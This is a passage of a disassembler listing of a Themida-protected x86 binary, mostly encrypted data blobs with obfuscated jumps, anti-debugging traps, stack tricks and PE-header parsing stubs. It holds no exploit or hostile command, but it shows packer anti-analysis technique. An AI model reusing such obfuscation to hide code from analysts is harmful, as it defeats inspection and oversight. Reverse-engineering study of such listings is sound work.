arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_57E935	endp

; ---------------------------------------------------------------------------
		db 73h,	85h, 86h
		dd 0E1820309h, 0B167BC13h, 0C7F76620h, 850F0004h, 225h
		dd 1D81BD83h, 0F00060Fh, 5C85h,	0CE900h, 0A52E0000h, 4C2A7E0h
		dd 0DF4164FFh, 2E94857h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FC9C352h
		dd 2489h, 0FE800h, 0B1C90000h, 0F020F2BDh, 0F01EB341h
		dd 21C9CA3Fh, 0AE955h, 0A1D00000h, 9B9F84E8h, 14486627h
		dd 0BF5Ah, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 667457C3h, 142B4A4Fh, 9E90Ch, 0C00000h
		dd 8FFA97C2h, 8D91D5B7h, 123C7F9Dh, 0F2816606h,	60505471h
		dd 0BB665250h, 310F243Ah, 80BA585Ah, 616BBFE2h,	0E9241C89h
		dd 7, 6F8A5A4Dh, 64701E33h, 35FFh, 0BE90000h, 0E6000000h
		dd 10A437AFh, 0A52D6A7Ch, 8964D8ADh, 25h, 0CBB70F00h, 54BF6660h
		dd 0C38166AAh, 8B61839Eh, 1CDFCC4h, 0B70F00EBh,	52006AD1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0CE5E306Ah, 0DF1934D9h, 99F3E281h, 8F642C72h, 5, 5CCE8000h
		dd 6A04C483h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E771C355h, 12E9A2h, 0C9E30000h
		dd 0BFEC30C8h, 25398A4h, 61C74A43h, 0D9ECEACCh,	0BF6B70Fh
		dd 0AE840FC0h, 0F000000h, 38Eh,	0D08B6600h, 55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 89021162h, 707BBD8Dh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9D2C8C3h, 8A2910D7h
		dd 6E9EAh, 68D70000h, 14C60E9Bh, 1B8h, 38E0F00h, 80000000h
		dd 0E7FF52E5h, 0F419BE56h, 8B5920B0h, 5C8B57D0h, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 8AC3C033h, 0BE860EFh, 0B5000000h, 6510E36Eh,	0F514F289h
		dd 0F85ADECCh, 6A6161h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0CFC41FC3h, 0D6BAC08Bh, 8331392Ch
		dd 0F1891BDh, 9750006h,	26ADBD83h, 7400060Fh, 8B535019h
		dd 40EB8C0h, 85890000h,	60F2941h, 0B01F9D8Dh, 0D3FF0611h
		dd 0BD83585Bh, 60F26ADh, 50177400h, 40EB853h, 85890000h
		dd 60F2941h, 0ACC09D8Dh, 0D3FF0611h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8A3474C3h
		dd 3860F39h, 66000000h,	800FCB8Bh, 6, 38CCD181h, 0C08B2BD7h
		dd 8BF28B66h, 5E8C2h, 0CDE0000h, 0E85E9104h, 11h, 1A20FC8Dh
		dd 52C3088h, 6B584D48h,	152925ABh, 815F5A59h, 7104C7h
		dd 0BEE68000h, 8166F62Bh, 8BE88DC2h, 0B866371Ch, 0F3819782h
		dd 4AFE43EAh, 0F38134B6h, 6A01BF08h, 0E1E18151h, 5A21F462h
		dd 80D1EB81h, 8A0F4F11h, 2, 1C89C78Ah, 13E937h,	841F0000h
		dd 87A39A34h, 0D4C2D7DBh, 0A34AB7CEh, 6C209B7h,	83C68B9Ah
		dd 0B96604EEh, 0FE81F6E1h, 0FFFF8F90h, 0FFA5850Fh, 9E8FFFFh
		dd 0CB000000h, 9802A6A8h, 0EE450A91h, 8EB5AFCh,	2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_57ED54
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_57ECE4:				; CODE XREF: Themida_:0057ED1Bj
		mov	eax, [ebp+60F21ADh]
		lea	eax, [ebp+6128D51h]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+6123E06h],	ecx
		cmp	dword ptr [ebp+60F1D81h], 0
		jz	loc_57ED20
		pusha
		push	0
		call	dword ptr [ebp+60F3451h]
		popa
		jmp	loc_57ECE4
; ---------------------------------------------------------------------------


loc_57ED20:				; CODE XREF: Themida_:0057ED0Bj
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+6123E02h],	eax
		mov	esi, [ebp+6123E06h]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+6123E06h]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+6123E02h]
		retn
; ---------------------------------------------------------------------------


loc_57ED54:				; CODE XREF: Themida_:0057ECD4j
		lea	edx, [ebp+60F0DE9h]
		mov	[ebp+60F084Dh],	edx
		mov	[ebp+60F2C8Dh],	edx
		inc	dword ptr [ebp+60F2C8Dh]
		mov	byte ptr [ebp+60F24FDh], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+60F1CE5h]
		lea	eax, [ebp+60F3AB8h]
		call	eax
		mov	[ebp+60F3451h],	eax
		lea	eax, [ebp+6123685h]
		mov	[ebp+60F2C5Dh],	eax
		jmp	short $+2
		jmp	loc_57F3BB
; ---------------------------------------------------------------------------
		jmp	loc_57F3B4
; ---------------------------------------------------------------------------
		push	6123FC9h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6124105h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6124170h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6124247h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6124381h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		pop	edi
		or	ch, [edi]
		sbb	dh, bh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0AEh, 8Bh, 0C9h
		dd 761E4156h, 0DFB3D6EBh, 0B446677Ch, 0D4E94C24h, 6A7FDAB1h
		dd 0FC110C47h, 93A883D9h, 916617C4h, 0A666F20Eh, 3A3672AFh
		dd 0CBF9E17Ch, 49818A0Bh, 0FEE37E16h, 0D427C849h, 866D044Dh
		dd 6D044E71h, 44E13E9h,	4DB6456Dh, 56A46D04h, 46D044Eh
		dd 0ED044DF7h, 44716138h, 5EDF7A11h, 45EE8031h,	7D29EB0Bh
		dd 0F0A1956Ch, 0CEB9C46h, 23E6F4EAh, 0D704396Eh, 4370F3A4h
		dd 0F6DB4610h, 3A1F0253h, 0BACF5085h, 7C61FC97h, 3C696930h
		dd 9689CCFFh, 0DA7BFCB1h, 0E4FBF094h, 0FC672F62h, 1DE16217h
		dd 154E57Ah, 0A9B4E91Eh, 0E1EA0A6h, 58DE3B20h, 1C000004h
		dd 0AACDE245h, 406378EBh, 0D3F60B16h, 688BA083h, 0FF203510h
		dd 0A487DB6Dh, 34176C8Fh, 0C85BFC1Fh, 5FFA90B3h, 1DCE7B4Ah
		dd 66F20EDAh, 53455E55h, 0BAED1A3Dh, 1B0081A4h,	56FE316Eh
		dd 9031E6CBh, 6D044E67h, 0DB8B5468h, 1CE05238h,	0B545E667h
		dd 196D03E4h, 0A24FA0DCh, 64CBE606h, 82411EE3h,	113449ECh
		dd 76B3E07Bh, 42B32C5h,	6CF79E6Dh, 8D72F3A8h, 78EBADE0h
		dd 3A5DDE93h, 0A1D40124h, 0D0856AF5h, 0DF246A4Fh, 0A2D4380h
		dd 588BC8F5h, 8D422702h, 42B0BECh, 0EE6F246Dh, 0FD21701h
		dd 388544Ch, 533B0000h,	14351A3Dh, 6D044DE6h, 844320E5h
		dd 67364BEEh, 39687EBAh, 7F61B1AFh, 0D720D1FEh,	606D0384h
		dd 0D6B338B4h, 435D225h, 7CA85D6Dh, 136F2D0h, 4E336F1Ch
		dd 0E68EDF63h, 791A3DBEh, 0D8AED1E6h, 4C4C987Dh, 384E7186h
		dd 0FE95381Dh, 56A5465Bh, 826D0382h, 0EA1D4AEDh, 17CCB194h
		dd 0D6BB9EF4h, 6FBBA021h, 6D28B12Ah, 0E9571B05h, 78D687B4h
		dd 866B0ACEh, 0E17C1649h, 51A647FCh, 8766F4B6h,	0D88D51CCh
		dd 0D3DE9357h, 881146C2h, 1CFE5B40h, 58000003h,	0EE112601h
		dd 84A7BCA7h, 173A4FD2h, 0ACCFE47Fh, 3B5C71D4h,	0E84317A9h
		dd 80DBB0D3h, 140F486Bh, 0A386DCFFh, 6112BF8Eh,	66F20C96h
		dd 5391AAA1h, 88351A3Dh, 9C1D0055h, 6348E379h, 7B90ABC0h
		dd 44E61DAh, 5E02F96Dh,	81D66D04h, 5BA0C1A6h, 0D46D043Eh
		dd 2FE00DC5h, 6B0B4C6Fh, 190611C6h, 698811DDh, 2B12784h
		dd 0AEC30000h, 253768Bh, 0ADE70A1Fh, 0DA7A9DB2h, 7B0F3247h
		dd 18AACBE0h, 4055F088h, 0CEE3461Dh, 6075E8ABh,	0EF04273Dh
		dd 35C27320h, 0FA66F20Dh, 0D49EA03h, 6801A46Ch,	0F81B9C8Fh
		dd 5D9AC762h, 57F86B2Ah, 6D0428A0h, 7C61E297h, 0C3A883D9h
		dd 9C2B387Dh, 7D2E6BC6h, 6D04297Ah, 985F00B5h, 9F6D0428h
		dd 61A5D0F3h, 62979975h, 0ED2B182Dh, 7E4C0F04h,	212h, 0A4530441h
		dd 8B6D0350h, 8C47AAD6h, 0E68668D6h, 26D55C65h,	0B26D044Eh
		dd 46697EE1h, 0B2E5120Dh, 0CE0083DDh, 0D3BA5111h, 95381D9Eh
		dd 347A5FC2h, 5390EFh, 9FDB081Dh, 4E03ED4Ah, 4835B6CFh
		dd 4C0FD0D0h, 489Dh, 0EFAA8400h, 0A905B6E3h, 0E46B0B5Dh
		dd 0CE3D242Fh, 987D8811h, 1DA3Bh, 64C79A00h, 0F6692C4Fh
		dd 8994BEE1h, 1A055174h, 0AB8EE205h, 51E37596h,	0E6091E39h
		dd 7EA1B691h, 12354AD5h, 0F5C4D97Ch, 0C609748h,	0E0D766F2h
		dd 49FAA7C7h, 6D044DB6h, 73AFDC91h, 0BA3822D9h,	44B3647Ah
		dd 0EB6D041Eh, 9B800136h, 0A4CD5FF8h, 0F9D5B998h, 195582B7h
		dd 0F8F53568h, 768B0CC4h, 351A3D53h, 0E23AFE9h,	0A0B5A8EBh
		dd 5F44E77Dh, 6F84A7BCh, 2F14374Ch, 2426D182h, 5C116D04h
		dd 0FAAB5827h, 6D0423FDh, 0EB987D32h, 9EF017AFh, 910A7C83h
		dd 44EB17D8h, 0E697C459h, 6D03FC11h, 0CDF07126h, 5683988Bh
		dd 0BDE94C23h, 0C944C859h, 6E3ABBECh, 21C4A929h, 10A2F577h
		dd 9D97976Bh, 49B25368h, 0E66D0411h, 0B6F21FB3h, 79F0D229h
		dd 0DD0A8BCBh, 0B56CA2Ch, 8EC9FC6Bh, 3D187093h,	5E22A358h
		dd 0A2879ABBh, 588BB8EDh, 11C3902h, 0B132E7CCh,	40144784h
		dd 0A04AB1DDh, 1A58EAE3h, 44DF7699h, 0D6490C2Fh, 560744F1h
		dd 66F47BA1h, 0BDA0F396h, 6DEE23D8h, 3116094Ah,	795EF98Eh
		dd 0BCA1BCD6h, 7CA92970h, 0FB70C3CBh, 0BAC57A64h, 8E1E0199h
		dd 0A0C72409h, 0D4000000h, 62859ABDh, 0F81B3033h, 8BAEC35Eh
		dd 204358CBh, 0B7D8ED48h, 5CFF9325h, 0EC4F2447h, 80E3B4D7h
		dd 1732486Bh, 0D5863302h, 66F20B22h, 53FD160Dh,	88351A3Dh
		dd 4E5D9A4Bh, 1DD26D04h, 48E3799Ch, 90ABC063h, 0D57008ABh
		dd 5E2D82F0h, 1774B97Fh, 0FEAF82D8h, 6D044DF9h,	3F54893Eh
		dd 0FF5C652h, 10A74Ch, 0D58E0000h, 6D044E25h, 6B80DBB1h
		dd 188Eh, 26D5F500h, 0A86D044Eh, 1B3E2175h, 4265E679h
		dd 0C7F4092Ch, 0DE5FC294h, 0C70D49D5h, 548956A7h, 994B0687h
		dd 2E6h, 53AEB700h, 93361B3Eh, 0D2755AFDh, 16B99E81h, 5E01E641h
		dd 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h, 0F7593E21h
		dd 5E4268h, 24148900h, 0C281E289h, 4, 8704EA83h, 685C2414h
		dd 1BC6h, 56241C89h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 4895C24h, 1B62BB24h,	0D3F73610h, 43DBF743h, 16B3EB81h
		dd 0F38136C3h, 2F477507h, 4EBBF381h, 8B54D618h,	0C4832404h
		dd 81535104h, 4F342434h, 81595CA4h, 0A44F34F1h,	848895Ch
		dd 24048B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		add	eax, 4D12CAAEh
		stosb
		or	al, 30h
		inc	eax
		cmp	bh, ah
		daa


loc_57F3B4:				; CODE XREF: Themida_:0057ED9Fj
		mov	eax, 6124446h
		add	eax, ebp


loc_57F3BB:				; CODE XREF: Themida_:0057ED9Aj
		mov	edx, ecx
		jmp	short loc_57F3DF
; ---------------------------------------------------------------------------
		align 10h
		dd 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57F3DF:				; CODE XREF: Themida_:0057F3BDj
		jmp	loc_57F965
; ---------------------------------------------------------------------------
		jmp	loc_57F95E
; ---------------------------------------------------------------------------
		push	61246E7h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612477Dh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612494Ch
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61249D3h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 9Ah,	0C7h, 64h
		dd 0F6692C4Fh, 8994BEE1h, 1A055174h, 0AB8EE205h, 51E37596h
		dd 0E6091E39h, 7EA1B691h, 12354AD5h, 0F5C4D97Ch, 9609748h
		dd 0E0D766F2h, 401B70A3h, 1C25A65Bh, 29E50D49h,	224EE981h
		dd 0FC948204h, 8ABF7459h, 0B1ACE609h, 5A884884h, 0BC021A8Fh
		dd 0D0518699h, 9731CAEBh, 3EEBED03h, 0F2D74A0Bh, 68F7BC3Dh
		dd 0F418791h, 0E596D3CCh, 0ED039612h, 0CBE7681Dh, 29h
		dd 7D1649B2h, 8C97BFE2h, 4D906A0Bh, 0FA9F6D04h,	326EABD8h
		dd 93693FCAh, 6F1091FEh, 6B158E9Bh, 0F3D0E59Ah,	41h, 4E26D55Ah
		dd 90096D04h, 3A1F0254h, 0E6235085h, 4DFFF8A9h,	8C386D04h
		dd 718C8501h, 3DBEF332h, 15506E9Ch, 1F34E96Bh, 0D182B5F2h
		dd 504AAD4Eh, 38E566F1h, 0F1507087h, 0DD12C766h, 81A4BAh
		dd 7D1649F7h, 0C748FDE2h, 426FF2A4h, 5ADB460Fh,	0B09C5475h
		dd 0AA7F12FBh, 0D9440EDDh, 339FF8C4h, 5EA65506h, 0DC91ED04h
		dd 0B10E4AF7h, 1E724823h, 3A5073F4h, 5B3E0A1Fh,	5994A77h
		dd 0D7EB0BF3h, 6472BD9Bh, 2DAE1098h, 5487B469h,	0B69B1C3Fh
		dd 13A86695h, 0D609B6F3h, 5C21A2BDh, 0C07AB60Fh, 5A9D4EF3h
		dd 0D5F31405h, 58BBF420h, 3DDBC849h, 2ED21F33h,	80h, 5B0C4915h
		dd 6D044D9Ch, 0C235E693h, 6D6D044Dh, 360283B8h,	91426F63h
		dd 6B16706Fh, 0B1E411C6h, 0DF9479E4h, 68FE315Eh, 73B3B5DFh
		dd 10C53A9Ch, 74290E43h, 71072A3Fh, 0B70DCBD6h,	18FD880Ch
		dd 324BBh, 4273A00h, 9689CCEFh,	29345E81h, 0BAA5F114h
		dd 4BEE82A5h, 0F1831536h, 86A9BE99h, 1E4156F1h,	0B2D5EA75h
		dd 956479DCh, 7C037E8h,	807766F2h, 2EF9967h, 0A9DC0000h
		dd 0EAF374EFh, 391E0153h, 44DE318h, 4E04776Dh, 0A6566D04h
		dd 0B86D044Dh, 6D044E43h, 44DE417h, 5BAEEA6Dh, 823B326Dh
		dd 0F5D720D1h, 0AB606D03h, 0A754F576h, 88AD03F5h, 0E394C111h
		dd 0AB156397h, 5704E99Eh, 68E94C24h, 0A8D5FD9Ch, 0F9AA77F7h
		dd 0EEF9AEA4h, 4E00613Ah, 8ED43116h, 0D0000002h, 66899EB9h
		dd 0FC1F342Fh, 8FB2C75Ah, 24475CC7h, 0B3D4E94Ch, 60FB8F21h
		dd 0F853284Bh, 8C97C0E3h, 1B3E5477h, 0D98A3706h, 66F2071Eh
		dd 49092219h, 0A0F47D16h, 0EE23D8BDh, 11344A6Dh, 19B9E02Ch
		dd 9AB3BECh, 3D796B16h,	988ECBFFh, 0D1951600h, 0B2E4071Ch
		dd 316D9AAFh, 0A2F46B22h, 0F925DABFh, 0B93A95DAh, 2373FC96h
		dd 0EA1F0252h, 0F023D0B5h, 9E81D29Bh, 4ECF8469h, 8EBB1782h
		dd 39511DDh, 82974C65h,	41D1AE1h, 4E84156Dh, 0D8827021h
		dd 0B56B15h, 6FCAA0D3h,	0A3540542h, 2466F1D8h, 0D84FE2C0h
		dd 0DF945805h, 9F84A7BCh, 315469EAh, 0A0D3005Bh, 0D1866BF6h
		dd 0C14A6B50h, 6E66F162h, 0C97AA72Bh, 65032035h, 0F12E5B10h
		dd 31C677B4h, 66D03A0h,	0A047B051h, 3BF06D03h, 66C197BAh
		dd 36E72451h, 6D039FC1h, 1D40C176h, 0DEFFE447h,	6D03A02Dh
		dd 2E5B7722h, 155C717Dh, 7309AC6Bh, 2768EEE1h, 0EA1F27A1h
		dd 3F5588B5h, 1B2EF1Ch,	66F150F6h, 14E39441h, 1B66F151h
		dd 9BB03166h, 8CD8326Eh, 0F2B440B7h, 5884B99Ch,	0BE925D8Bh
		dd 0A8CB4C81h, 469277D2h, 59C49153h, 0C446F724h, 0A6503D1h
		dd 0C3A883D7h, 14C98D0Eh, 0D1ED0E2Fh, 0EA2F6D03h, 7994849Dh
		dd 8BC84C0Fh, 84250058h, 6D03DE73h, 0DE55A253h,	25DA6D03h
		dd 0F2BAC61h, 1Bh, 0C6295D2h, 0EE8F4429h, 6D03DE09h, 0EFF8792Eh
		dd 45326D5h, 7F86Dh, 0D55F0000h, 6D045426h, 0E3EFAACCh
		dd 49EC83B6h, 0CE83AF64h, 6E4E3F93h, 0DF90BD3Eh, 6B15C607h
		dd 68B4994Eh, 3774A131h, 4ECF5204h, 0F95055ADh,	374DF064h
		dd 12D4DF14h, 0F28E03CFh, 0BFB00Dh, 0CA9F0000h,	1E375A6Fh
		dd 89CBEE03h, 365E8196h, 9FF3162Bh, 0F486A7BCh,	14290C64h
		dd 0AABF9AF1h, 3C51CC87h, 0D3E84319h, 51A65704h, 0E666F205h
		dd 0EFAAD6EFh, 0E105B6E3h, 0C36B1609h, 8E68FA90h, 2E18997Dh
		dd 0A95A87BCh, 66F1C94Eh, 0EFB334E9h, 86DA0D3Ah, 0C8FDFAABh
		dd 7D3266F1h, 2DAE6348h, 9B5F9B48h, 0EF69B2D4h,	0E71C0751h
		dd 0D3FF9A66h, 3D2073A6h, 8DE8FBCh, 4F64F900h, 9F6F8F9Ah
		dd 0BEA38E03h, 3861h, 0F8532600h, 8A95C0E3h, 1D005275h
		dd 0AEB1E508h, 47E27699h, 0ED7F1132h, 7A9DB295h, 0A2D42E5h
		dd 9EC1D649h, 89586DC8h, 4CC2BDCh, 6C6366F2h, 39953h, 0D7000000h
		dd 1B3E53CEh, 5AFD9336h, 9E81D275h, 0E64116B9h,	2F0A5E01h
		dd 78D3A74Ah, 0B9A4F093h, 0FC6731D4h, 3E217417h, 8951F759h
		dd 4C181E1h, 83000000h,	0FF5104E9h, 59042474h, 5C24048Fh
		dd 4EC81h, 1C890000h, 1156824h,	3C890000h, 45476824h, 1C8B0612h
		dd 4C48324h, 243C8B54h,	5304C483h, 455BBE56h, 74313189h
		dd 8F5E0424h, 77810847h, 89455B08h, 2434FF31h, 4C4835Fh
		dd 5B2434FFh, 0E904C483h, 0FFFD342Ah
		db 81h,	85h
; ---------------------------------------------------------------------------


loc_57F95E:				; CODE XREF: Themida_:0057F3E4j
		mov	eax, 6124A30h
		add	eax, ebp


loc_57F965:				; CODE XREF: Themida_:loc_57F3DFj
		mov	ecx, eax
		jmp	loc_57F9BD
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_57F987:				; CODE XREF: Themida_:0057F9B2j
		cmp	ecx, 0
		jz	loc_57F9A6
		cmp	edi, [edx+0Ch]
		jg	loc_57F9AE
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_57F9A6:				; CODE XREF: Themida_:0057F98Aj
					; Themida_:0057F9B8j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_57F9AE:				; CODE XREF: Themida_:0057F993j
		add	edx, 28h
		dec	ecx
		jnz	loc_57F987
		jmp	loc_57F9A6
; ---------------------------------------------------------------------------


loc_57F9BD:				; CODE XREF: Themida_:0057F967j
		mov	edx, 9FD3Eh
		call	sub_57F9D1
		db	3Eh
		std
		inc	edx
		movsb
		jge	short near ptr loc_57FA3A+1
		fld	tbyte ptr [esi+ebp*8+2Ah]

; =============== S U B	R O U T	I N E =======================================



sub_57F9D1	proc near		; CODE XREF: Themida_:0057F9C2p
		or	al, 63h
		pop	esi
		jmp	loc_57F9EC
; ---------------------------------------------------------------------------
		dw 59CFh
		dd 6AE916C9h, 17482FA8h, 19BEA893h, 8C968471h
; ---------------------------------------------------------------------------


loc_57F9EC:				; CODE XREF: sub_57F9D1+4j
		add	esi, 71A6h
		jmp	loc_57FA04
; ---------------------------------------------------------------------------
		db 93h
		dd 0C7F88B9Bh, 3879B3Fh, 6D101B20h
; ---------------------------------------------------------------------------


loc_57FA04:				; CODE XREF: sub_57F9D1+21j
		mov	ebx, 1C2Ch
		call	sub_57FA19
		lodsd
		stosd
		pop	ss
		sbb	al, 84h
		rcr	dword ptr [edi], cl
		retn
sub_57F9D1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0F906h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_57FA19	proc near		; CODE XREF: sub_57F9D1+38p
		jle	$+6
		pop	edx


loc_57FA20:				; CODE XREF: Themida_:0057FAA9j
		push	dword ptr [esi]
		ja	$+6
		pop	ecx
		and	edi, 78F6513Ah
		xor	ecx, 3E9F79ABh
		mov	edx, 32FCF09Ah


loc_57FA3A:				; CODE XREF: Themida_:0057F9CBj
		add	ecx, 5400570Dh
		mov	dl, 39h
		sub	ecx, 37B5D090h
		call	sub_57FA60
		int	3		; Trap to Debugger
		pop	ecx
		sbb	[edx+edi*4+3F8488EEh], bh
		db	3Eh
		pop	ss
		cmp	ebp, edi
		and	esp, [edx+0Dh]
		popa
		sbb	bl, [edi]
sub_57FA19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57FA60	proc near		; CODE XREF: sub_57FA19+2Fp
		or	eax, 0BC81A3Ch
		pop	edx
		mov	[esi], ecx
		cld
		sub	esi, 3
		adc	ah, 0CEh
		dec	esi
		push	esi
		call	near ptr loc_57FA83+1
		dec	eax
		mov	byte ptr [esi],	0D8h
		cmc
		test	al, 0A0h
		pop	eax
		add	al, 0DDh
		xchg	eax, ebx
		scasb


loc_57FA83:				; CODE XREF: sub_57FA60+12p
		test	al, 81h
sub_57FA60	endp ; sp-analysis failed

		fstp9	st(1)
		iret
; ---------------------------------------------------------------------------
		pop	es
		push	ds
		pop	edi
		pop	eax
		sub	ebx, 1
		jnz	loc_57FAA6
		mov	edi, edx
		jmp	loc_57FAC1
; ---------------------------------------------------------------------------
		db 84h
		dd 0E918DC39h
		db 94h,	0B4h
; ---------------------------------------------------------------------------


loc_57FAA6:				; CODE XREF: Themida_:0057FA92j
		movzx	eax, ax
		jmp	loc_57FA20
; ---------------------------------------------------------------------------
		dw 2394h
; ---------------------------------------------------------------------------
		jmp	short loc_57FACC
; ---------------------------------------------------------------------------
		dw 2961h
		dd 0E5EFF549h, 0A5B75FFFh, 988F15EFh
; ---------------------------------------------------------------------------
		push	esp


loc_57FAC1:				; CODE XREF: Themida_:0057FA9Aj
		jmp	loc_57FC0E
; ---------------------------------------------------------------------------
		mov	[edx-1318C40Dh], ebp


loc_57FACC:				; CODE XREF: Themida_:0057FAB0j
		xchg	eax, ebp
		ficom	dword ptr [ebx-20F98EA8h]
		iret
; ---------------------------------------------------------------------------
		dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h
		dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0BF009CACh, 0ADFC6C46h
		dd 36597390h, 0E275D6A3h, 90BD9C72h, 0E693DD00h, 92A79B8Ch
		dd 0ABDD64A5h, 8F9792A7h, 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h
		dd 92B69F47h, 0F694B6E5h, 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h
		dd 5CFD7B97h, 0F49389F5h, 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h
		dd 2D445700h, 29B0F362h, 3CAEh,	4400h, 6C00h, 2	dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 23h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57FC0E:				; CODE XREF: Themida_:loc_57FAC1j
		jmp	loc_581CA8
; ---------------------------------------------------------------------------
		push	6124F23h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6124FFDh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61250B8h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6125188h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612523Bh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6125305h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61253E4h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612549Ah
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61258ACh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6125939h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6125AA7h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6125DAAh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6126125h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61264ECh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612666Eh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61266E3h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6126743h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61267BBh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61269B6h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6126A8Eh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6126C46h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 6Eh,	1Bh, 40h
		dd 0D24D082Bh, 65F89ABDh, 0F6692D50h, 8FAABEE1h, 35C7597Ah
		dd 0C2E5FA5Dh, 52758AADh, 0E6091E01h, 0D1A0B590h, 0FF847324h
		dd 0B4AB66F1h, 0BECE3B77h, 362A56BFh, 3D53ACB5h, 0FC92351Ah
		dd 0AD966D62h, 424874D7h, 7A8FC48Dh, 0BAE7EBAEh, 0B328109h
		dd 1AFFB46Bh, 0F51302F9h, 0B6D51A66h, 0B6A96Fh,	29C246h
		dd 0AAA90000h, 5B6E3EFh, 6B0B6799h, 8D3A1FD4h, 0AEF5A751h
		dd 0A122FC64h, 0F44EFB00h, 8FDC2166h, 0FFF6A276h, 0B0CB45h
		dd 49B20000h, 0E54016h,	0D1A7CA4Bh, 6E53CE88h, 4A74C3C2h
		dd 0B1E65960h, 7A1C4F7Ch, 0DE8166E7h, 27CAAF8Ah, 6E11F651h
		dd 87283D18h, 6D0397B5h, 576CCFA5h, 0CEFB5E34h,	8267FA9Bh
		dd 78EBAACDh, 785DDE93h, 38656D2Ch, 0A978F87h, 1C31E66Bh
		dd 5C894950h, 62A08ABh,	0FB9C3F65h, 0B7E08368h,	0DD12C7ACh
		dd 30487BA8h, 85DD0015h, 0D16397A2h, 0BA9F8E00h, 1DE25Dh
		dd 48E37600h, 0DA451033h, 6DF0A2C5h, 0FE613558h, 97B2C6E9h
		dd 3DCF6182h, 0CAED0225h, 5A7D92B5h, 0EE112639h, 0D9A8BD98h
